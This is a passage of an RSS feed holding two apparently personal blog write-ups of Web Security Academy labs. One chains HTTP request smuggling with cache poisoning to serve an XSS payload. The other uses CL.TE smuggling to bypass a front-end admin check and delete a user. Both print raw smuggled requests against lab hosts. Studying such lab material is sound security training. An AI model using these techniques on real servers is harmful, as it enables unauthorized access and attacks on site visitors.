src="https://cdn-images-1.medium.com/max/1024/1*Cb_6hPrT12xgO0j0WETMUQ.png" /></figure><p>So, we can interact with individual posts. Let’s explore.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/886/1*140MU4EroIlMSpgYDcKRnw.png" /></figure><p>So, going through the requests found one of them useful i.e. a redirection can be seen.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pc6N_p6yODWAdOQXgv7_Xg.png" /></figure><p>So, this looks a bit interesting because what if the ‘Host’ header is being used to parse the domain to redirect to for the next post. But now the problem is how do we check because if we change the ‘Host’ header in request this way, then front-end server will not be able to know where to forward it to.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xFhgYCDIVWd52UzA9Du2aQ.png" /></figure><p>Ok! So, as the lab is about request smuggling, then let’s craft the payload for CL.TE configuration to smuggle the modified ‘Host’ header request. Now when we send the request twice, the smuggled part will get buffered and will wait for next request to prepend to before giving the response. If you are unable to understand the payload we crafted, just go through the last blog, and you’ll know. But if still facing issues, just let me know in the comments. And ya make sure to adjust the Content-Length accordingly by utilizing the Inspector menu.</p><p>See the assumption was correct. The ‘Host’ header content is indeed being parsed for the redirection domain.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/935/1*IPGtG6TfJb9CPPRixedzig.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vavKgF7DjiKm2om-Zxw-pQ.png" /></figure><p>So, it’s time to utilize the exploit server to redirect the victim to our controlled site. Now as know, ‘/post?postId=6’ is getting appended to the domain. So, let’s set the exploit server path to ‘/path’. It doesn’t matter whatever parameter is being passed. What matters is just the path as we are not utilizing that parameter anywhere. So, as per objective let’s put the script content.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RuZvx5BU3HsC-8mYxJSC2A.png" /></figure><p>Yes! Make sure to utilize the Inspector menu on right well to update the ‘Content-Length’ header accordingly.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*arCAH5nQR9Lt3SgbSuAxyQ.png" /></figure><p>So, pass the first request to get the smuggled part buffered.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e9bxuMhoAbe4gVDjznNgmQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ElqR_Q7Nb0Am8hC6svTZ9A.png" /></figure><p>So, redirection occurs perfect on the second request. Ok! Now how do we get this executed as javascript code because the redirection will make it considered as a text file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/721/1*dZleJeYFxBmENTFcktzpJw.png" /></figure><p>Remember the cacheable page we found previously. See that the home page requests this and considers the content in it as javascript code. Let’s leverage this then. So, now if we are able to get it redirected to our above exploit page, then the content in response will too be considered as script code and should get executed as XSS payload.</p><p>So, the logic we come up with is that what if we first get the above discussed redirection payload buffered and then, try to send the cacheable request. So, now the front-end will see the request as cacheable and will take a note of it and will send it to back-end. Now the smuggled/buffered request part should now get prepended to this request as,</p><pre>GET /post/next?postId=5 HTTP/1.1<br>Host: exploit-0a3600c303e5073c80328ac60199008b.exploit-server.net<br>Content-Type: application/x-www-form-urlencoded<br>Content-Length: 50<br><br>test=GET /resources/js/tracking.js HTTP/2<br>Host: 0a56005a036b072c80878bea005c0056.web-security-academy.net<br>...</pre><p>and will send the malicious redirection response towards the front-end. Now the catch is, the front-end thinks it as cacheable and gets it cached for other similar requests from other clients. Now if anyone else tries to request the same, will get redirected to our malicious page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*j4w1Gx-8sESwWxjgR6QqNw.png" /><figcaption>i</figcaption></figure><p>So, now we have a buffered/smuggled request that will get prepended to the next request.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Zx-HoJu2Zh6B7IIpJ_4iAw.png" /></figure><p>So, as per explanation above, sending the request for this cacheable page, got the buffered/smuggled request prepended to this next request and we got redirected. This cached redirection response is now saved on the front-end server. So, now if anyone try to request the same ‘/resources/js/tracking.js’ path or the home page, will receive the same malicious response but only within the 30 seconds time period.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rQqQ8gdkFrr358YhrSfJRg.png" /></figure><p>Now when we visit the home page and as soon as it gets rendered, it will try to access the same cached ‘/resources/js/tracking.js’ script request as per what we know from the page source and will be alerted with the XSS payload we hosted on the exploit server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MZ-49T4li-CAWnjwbUNw6A.png" /></figure><p>And there you go. The gets solved.</p><p>So, hope you got to know, how can chaining be so harmful. Until next one, Peace!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1994b0902bef" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[WebSecurityAcademy-Exploiting HTTP request smuggling to bypass front-end security controls, CL.TE]]></title>
            <link>https://medium.com/@aniketdas07770/websecurityacademy-exploiting-http-request-smuggling-to-bypass-front-end-security-controls-cl-te-7561a1527fdc?source=rss-3f1e1face53------2</link>
            <guid isPermaLink="false">https://medium.com/p/7561a1527fdc</guid>
            <category><![CDATA[burpsuite]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[http-request]]></category>
            <category><![CDATA[information-technology]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Aniket Das]]></dc:creator>
            <pubDate>Sat, 24 Aug 2024 20:38:44 GMT</pubDate>
            <atom:updated>2024-08-24T20:38:44.364Z</atom:updated>
            <content:encoded><![CDATA[<h3>WebSecurityAcademy-Exploiting HTTP request smuggling to bypass front-end security controls, CL.TE vulnerability(WriteUp)</h3><p>Hello People! Back with another one from Web Security Academy. Time for HTTP Request Smuggling this time. Let’s Go!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1019/1*5IxoRkeAg8_2m0cRQAf7zQ.png" /></figure><p>Basic home page. Nothing much to explore.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TQ6RGnGqbJtVeqAwYUq1Rg.png" /></figure><p>The description here says that ‘/admin’ panel access check is just performed at the front-end but luckily not on the back-end. So, we just need to leverage it to bypass somehow the admin page to delete user ‘carlos’.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*g9jf6UGmzVSyj0T1xeq3Xg.png" /></figure><p>So, it’s blocking us. Let’s send the request to the Burp Repeater and play around to see what’s going on.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iyrUu4WfHRdii3PRX_J1yA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7OG2lyVOyE2ZCaO5UrVfcw.png" /></figure><p>Let’s remove the unnecessary request headers to make it look clean and a bit less confusing.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2ezwYUw_zdaS0QrofYA1Xw.png" /></figure><p>Let’s follow the PoC graph even though we are aware from the Lab name that it’s in a CL.TE configuration i.e. front-end uses Content-Length header for parsing the content whereas, the back-end uses the Transfer-Encoding header. But before that let’s first do the necessary configurations on the Repeater tab such that everything works well.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/730/1*MEgbZZxHv26WApwaFGNpMg.png" /></figure><p>So, toggle on the hidden characters to see the carriage return and new line characters.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/597/1*IdfTM_Nf0T0cJdWeuHPcgQ.png" /></figure><p>From the cog wheel icon, disable the ‘Update Content-Length’ option such that it doesn’t automatically changes it to the actual length.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/945/1*XgUPn3bpdeeoq62GAV3i8A.png" /></figure><p>So, generally HTTP/1 version is vulnerable to such attacks. Let’s do the final changes to the settings.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/825/1*aILBygEd0K5wpb0umCW0MQ.png" /></figure><p>From the Inspector sub-tab, toggle it to version 1. Now we should be good to go.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LqhSL-oM-aNaqxg3GTNJ0w.png" /></figure><p>So, as per the PoC graph above, the PoC request also confirms CL.TE is the current server configuration as per the timeout error we got in response. What basically happens here is that, as the front-end server operates on ‘Content-Length’ header parsing, from the 8th line of the request, the content becomes redundant as per the length specified and hence, is neglected. Now the request until line 7 is sent towards the back-end. So, now as back-end does parsing based on ‘Transfer-Encoding’ header and is specified ‘chunked’, hence, after receiving those first 3 bytes, it waits for the upcoming chunks. And as there’s no other chunks on the way, hence we got that timeout error after a while, confirming CL.TE configuration.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PuiwOCzGj9uV8zXjSqcC1g.png" /></figure><p>So, as GET request is being used for the admin page request, let’s craft the smuggling request.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VMbe9xdw77l72AMqWrpCeg.png" /></figure><p>So, now for the PoC, we need to keep track of the POST request content length and need to modify the ‘Content-Length’ header accordingly. So, simply highlight the body part and from the inspector menu, we can grab the length in real-time both in decimal and hexadecimal format.</p><p>Now if you know about this vulnerability, basically the theory part, then you should get why we crafted the payload this way. The front-end clearly passes the request to the back-end without removing anything while the back-end ignores anything after the 6th line because of the ‘Transfer-Encoding: chunked’ header and the ‘0’ in place which specifies the end of chunks. So, now anything after the 6th line gets ignored for current request and will get prepended to the next incoming request into a format like below,</p><pre>GET /admin HTTP/1.1<br><br>test=POST / HTTP/1.1<br>Host: 0ab4006b04a4e1b0806dc160006e00e8.web-security-academy.net<br>Content-Length: ...<br>...</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RhvAudD4f8AjpIV_-0NqDQ.png" /></figure><p>We just need to send the request twice consecutively such that we can get the response of the smuggled part. So, the first request should be 200 response code successful while the second one should contain the response of the smuggled part. So, initially I was not getting why the request kept saying 200 successful even after the second request.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tBB3duDTkndnCJac94yfIQ.png" /></figure><p>So, that’s interesting. Adding the ‘Host’ header got something different. Basically why we are getting this response is because the second request format becomes something like the below format,</p><pre>GET /admin HTTP/1.1<br>Host: 0ab4006b04a4e1b0806dc160006e00e8.web-security-academy.net<br>test=POST / HTTP/1.1<br>Host: 0ab4006b04a4e1b0806dc160006e00e8.web-security-academy.net<br>...</pre><p>So, we don’t need to add the Host header ourself as the second one can do the job. But it was failing as we saw above as it kept getting 200 response code successful. But playing with it for a while, realized we can take care of the part below such that they get ignored by the back-end. So, what we can do is that we can try to make them as part of the POST request body by using the ‘Content-Type’ and ‘Content-Length’ headers. But as the request is GET type, hence the body part should get ignored. Just follow along and you’ll know what I mean.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1ZXoTZT0o58dMbA7aZHD1w.png" /></figure><p>So, this time we ourself need to add the ‘Host’ header because the second ‘Host’ header gets neglected as this time in the back-end, it becomes part of the request body but not part of the request headers because of ‘Content-Type’ and ‘Content-Length’ headers and will get neglected as the resultant will be a GET method request like below,</p><pre>GET /admin HTTP/1.1<br>Host: 0ab4006b04a4e1b0806dc160006e00e8.web-security-academy.net<br>Content-Type: application/x-www-form-urlencoded<br>Content-Length: 50<br><br>test=POST / HTTP/1.1<br>Host: 0ab4006b04a4e1b0806dc160006e00e8.web-security-academy.net<br>...</pre><p>and we get landed on the unauthorized page. The second ‘Content-Length’ header value doesn’t matter and just keep it to something greater than 15 atleast. So, notice the response page this time. It is completely different from what we got when we tried to access it directly previously.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/340/1*MtNxAJjr3BlMq505xyLBwA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/733/1*jSmQCHcE-5vv1pEaxELbJQ.png" /></figure><p>See the difference. So, we have successfully reached the back-end. But as per the response we can definitely try a bypass like to change ‘Host’ to internal IPs or can even try the ‘X-Forwarded-For’ header.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*R9N9Bladnsdk5qZBuQ_SGQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/704/1*2oR9Di2kJ01OAA9uX1yIxw.png" /></figure><p>So, there you go. Localhost did the trick to bypass the local user check.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Lfih9sc9S8ct3zoF8Y5rKg.png" /></figure><p>So, hopefully the user ‘Carlos’ got deleted as clearly indicated by the redirection response.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NAZ4dXWgRrSzfsPwF8hOpA.png" /><figcaption>n</figcaption></figure><p>And yes! The lab gets solved.</p><p>So, the thing to take care of in every request is the ‘Content-Length’ header value which we need to keep changing as per the modifications we do below in the smuggling part. So, utilize the Inspector menu to get the length simply by highlighting it.</p><p>So, hope you enjoyed. Until next one, Peace!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7561a1527fdc" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>